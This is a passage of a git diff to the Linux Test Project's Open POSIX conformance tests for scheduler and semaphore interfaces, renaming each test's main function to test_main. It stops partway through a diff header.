b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/21-1.c index b1b3cf67..5be3b986 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/21-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/21-1.c @@ -22,7 +22,7 @@ #include <sys/wait.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result, child_pid, stat_loc; struct sched_param param; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/22-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/22-1.c index 7eb3109d..2e5ca73d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/22-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/22-1.c @@ -28,7 +28,7 @@ static void *runner(void *arg) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int new_policy, policy, result; struct sched_param param; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/22-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/22-2.c index 83c8c599..8d8d0292 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/22-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/22-2.c @@ -28,7 +28,7 @@ static void *runner(void *arg) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int new_priority, max_priority, policy, result; struct sched_param param; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/4-1.c index 674a5541..5ccb145a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_setscheduler/4-1.c @@ -17,7 +17,7 @@ #include <unistd.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result, new_priority, old_priority, max_prio; int old_policy, new_policy, test_policy; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_yield/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_yield/1-1.c index 2e1e3197..922b1aa1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_yield/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_yield/1-1.c @@ -62,7 +62,7 @@ static int child_busy(int fd) exit(PTS_UNRESOLVED); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int pid; int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_yield/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_yield/2-1.c index 3a4a75b6..e382a655 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_yield/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_yield/2-1.c @@ -14,7 +14,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (sched_yield() == 0) { printf("Test PASSED\n"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_close/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_close/1-1.c index 20313bcc..993daf91 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_close/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_close/1-1.c @@ -24,7 +24,7 @@ #define FUNCTION "sem_close" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t *mysemp; char semname[28]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_close/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_close/2-1.c index 6150a34a..43ebc17f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_close/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_close/2-1.c @@ -23,7 +23,7 @@ #define FUNCTION "sem_close" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t *mysemp; char semname[28]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_close/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_close/3-1.c index 7c90f141..c1b256e7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_close/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_close/3-1.c @@ -24,7 +24,7 @@ #define FUNCTION "sem_close" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t *mysemp; char semname[28]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_close/3-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_close/3-2.c index c3447ebf..d1630684 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_close/3-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_close/3-2.c @@ -85,7 +85,7 @@ /******************************************************************************/ /* The main test function. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, value; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_destroy/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_destroy/3-1.c index bca21371..f5b90f6e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_destroy/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_destroy/3-1.c @@ -30,7 +30,7 @@ static int n; static void *producer(void *); static void *consumer(void *); -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t prod, cons; int err; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_destroy/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_destroy/4-1.c index f651b0fc..f1f958c9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_destroy/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_destroy/4-1.c @@ -24,7 +24,7 @@ #define FUNCTION "sem_destroy" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t mysemp; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_getvalue/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_getvalue/1-1.c index e6d1bc75..69d2ca6b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_getvalue/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_getvalue/1-1.c @@ -25,7 +25,7 @@ #define FUNCTION "sem_getvalue" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char semname[NAME_MAX - 4]; sem_t *mysemp; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_getvalue/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_getvalue/2-1.c index 7fd9744d..8c4e9ef4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_getvalue/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_getvalue/2-1.c @@ -23,7 +23,7 @@ #define FUNCTION "sem_getvalue" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char semname[NAME_MAX - 4]; sem_t *mysemp; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_getvalue/2-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_getvalue/2-2.c index 9d1d5438..55819cbe 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_getvalue/2-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_getvalue/2-2.c @@ -93,7 +93,7 @@ static void *threaded(void *arg) } /* The main test function. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, val; sem_t sem; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_getvalue/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_getvalue/4-1.c index 4b66af6e..a11ba441 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_getvalue/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_getvalue/4-1.c @@ -24,7 +24,7 @@ #define FUNCTION "sem_getvalue" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char semname[NAME_MAX - 4]; sem_t *mysemp; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_getvalue/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_getvalue/5-1.c index 5c7f27fd..0cda514e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_getvalue/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_getvalue/5-1.c @@ -24,7 +24,7 @@ #define FUNCTION "sem_getvalue" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char semname[NAME_MAX - 4]; sem_t *mysemp; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/1-1.c index f96b9a06..7c54c6e2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/1-1.c @@ -24,7 +24,7 @@ and then check the value of the semaphore. #define FUNCTION "sem_init" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t mysemp; int sts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/2-1.c index ee96db93..8fdf6c93 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/2-1.c @@ -23,7 +23,7 @@ #define FUNCTION "sem_init" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t mysemp; int val; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/2-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/2-2.c index fe3b1156..ab6748e3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/2-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/2-2.c @@ -23,7 +23,7 @@ #define FUNCTION "sem_init" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t mysemp; int val; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/3-1.c index d3d8b626..947741a3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/3-1.c @@ -51,7 +51,7 @@ static void *consumer(void *arg) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t prod, cons; long cnt = 3; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/3-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/3-2.c index 8c44b253..253b43ec 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/3-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/3-2.c @@ -84,7 +84,7 @@ /******************************************************************************/ /* The main test function. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, status; pid_t child, ctl; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/3-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/3-3.c index a0e918f4..db8cc74b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/3-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/3-3.c @@ -84,7 +84,7 @@ /******************************************************************************/ /* The main test function. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, status; pid_t child, ctl; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/5-1.c index 2c198f27..c7e7ec5e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/5-1.c @@ -24,7 +24,7 @@ #define FUNCTION "sem_init" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t mysemp; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/5-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/5-2.c index 69939a8f..c9248f34 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/5-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/5-2.c @@ -24,7 +24,7 @@ #define FUNCTION "sem_init" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t mysemp; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/6-1.c index 266212fe..3a4da07f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/6-1.c @@ -22,7 +22,7 @@ #define FUNCTION "sem_init" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t mysemp; int counter = SEM_VALUE_MAX; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/7-1.c index 43bba70e..61195413 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_init/7-1.c @@ -77,7 +77,7 @@ /******************************************************************************/ /* The main test function. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, i; sem_t *sems; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/1-1.c index a083244e..ff121718 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/1-1.c @@ -23,7 +23,7 @@ #define TEST "1-1" #define FUNCTION "sem_open" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t *mysemp; char semname[50]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/1-2.c index 06965aea..06e06cf0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/1-2.c @@ -23,7 +23,7 @@ #define TEST "1-2" #define FUNCTION "sem_open" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t *mysemp; char semname[50]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/1-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/1-3.c index 9c1acac2..3b0a5c80 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/1-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/1-3.c @@ -24,7 +24,7 @@ #define FUNCTION "sem_open" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t *mysemp; char semname[50]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/1-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/1-4.c index 5f424ba1..12c7d69e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/1-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/1-4.c @@ -24,7 +24,7 @@ #define FUNCTION "sem_open" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t *mysemp; char semname[28]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/10-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/10-1.c index 6d211d0d..cbfbdcc4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/10-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/10-1.c @@ -25,7 +25,7 @@ #define FUNCTION "sem_open" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t *mysemp; char semname[50]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/15-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/15-1.c index d9dc9f25..ce44db54 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/15-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/15-1.c @@ -80,7 +80,7 @@ /******************************************************************************/ /* The main test function. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, i; char *name = "/sem_open_15_1"; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/2-1.c index c40ec601..5f7e9f26 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/2-1.c @@ -26,7 +26,7 @@ #define FUNCTION "sem_open" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t *mysemp; char semname[50]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/2-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/2-2.c index 950db395..f323d09c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/2-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/2-2.c @@ -24,7 +24,7 @@ #define FUNCTION "sem_open" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t *mysemp; char semname[50]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/3-1.c index ae1aa6b6..51e9f919 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/3-1.c @@ -57,7 +57,7 @@ static int set_nonroot() return 0; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t *mysemp; char semname[50]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/4-1.c index d10c2954..421809d4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/4-1.c @@ -24,7 +24,7 @@ #define TEST "4-1" #define FUNCTION "sem_open" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t *mysemp; char semname[50]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/5-1.c index 56c8a938..b872dcf6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/5-1.c @@ -23,7 +23,7 @@ #define TEST "5-1" #define FUNCTION "sem_open" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t *mysemp; char semname[50]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/6-1.c index f057656e..1fa6a4cc 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_open/6-1.c @@ -21,7 +21,7 @@ #define TEST "6-1" #define FUNCTION "sem_open" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t *mysemp; char semname[50]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_post/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_post/1-1.c index f61150b3..b41aed04 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_post/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_post/1-1.c @@ -23,7 +23,7 @@ #define FUNCTION "sem_post" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t *mysemp; char semname[28]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_post/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_post/1-2.c index 5c6425b4..ef6be6f1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_post/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_post/1-2.c @@ -23,7 +23,7 @@ #define FUNCTION "sem_post" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t *mysemp; char semname[28]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_post/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_post/2-1.c index 4829382c..294775f5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_post/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_post/2-1.c @@ -23,7 +23,7 @@ #define FUNCTION "sem_post" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t *mysemp; char semname[28]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_post/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_post/4-1.c index bf18d1ba..7aeeec08 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_post/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_post/4-1.c @@ -22,7 +22,7 @@ #define FUNCTION "sem_post" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t *mysemp; char semname[28]; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_post/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_post/5-1.c index d83f9c9b..60f246d1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_post/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_post/5-1.c @@ -40,7 +40,7 @@ static void sighdl(int sig PTS_ATTRIBUTE_UNUSED) return; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char semname[28]; int val; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_post/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_post/6-1.c index 009e8ba4..73d2f3f9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_post/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_post/6-1.c @@ -42,7 +42,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) } } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char semname[28]; struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_post/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_post/8-1.c index 40579776..42b0e39a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_post/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_post/8-1.c @@ -110,7 +110,7 @@ static int child_fn(int priority, int id) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { #ifndef _POSIX_PRIORITY_SCHEDULING printf("_POSIX_PRIORITY_SCHEDULING not defined\n"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/1-1.c index 624b0186..8c49aacf 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/1-1.c @@ -25,7 +25,7 @@ #define FUNCTION "sem_timedwait" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { sem_t mysemp; struct timespec ts; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/10-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/10-1.c index 2d206af2..f04a1dc0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sem_timedwait/10-1.c +++ 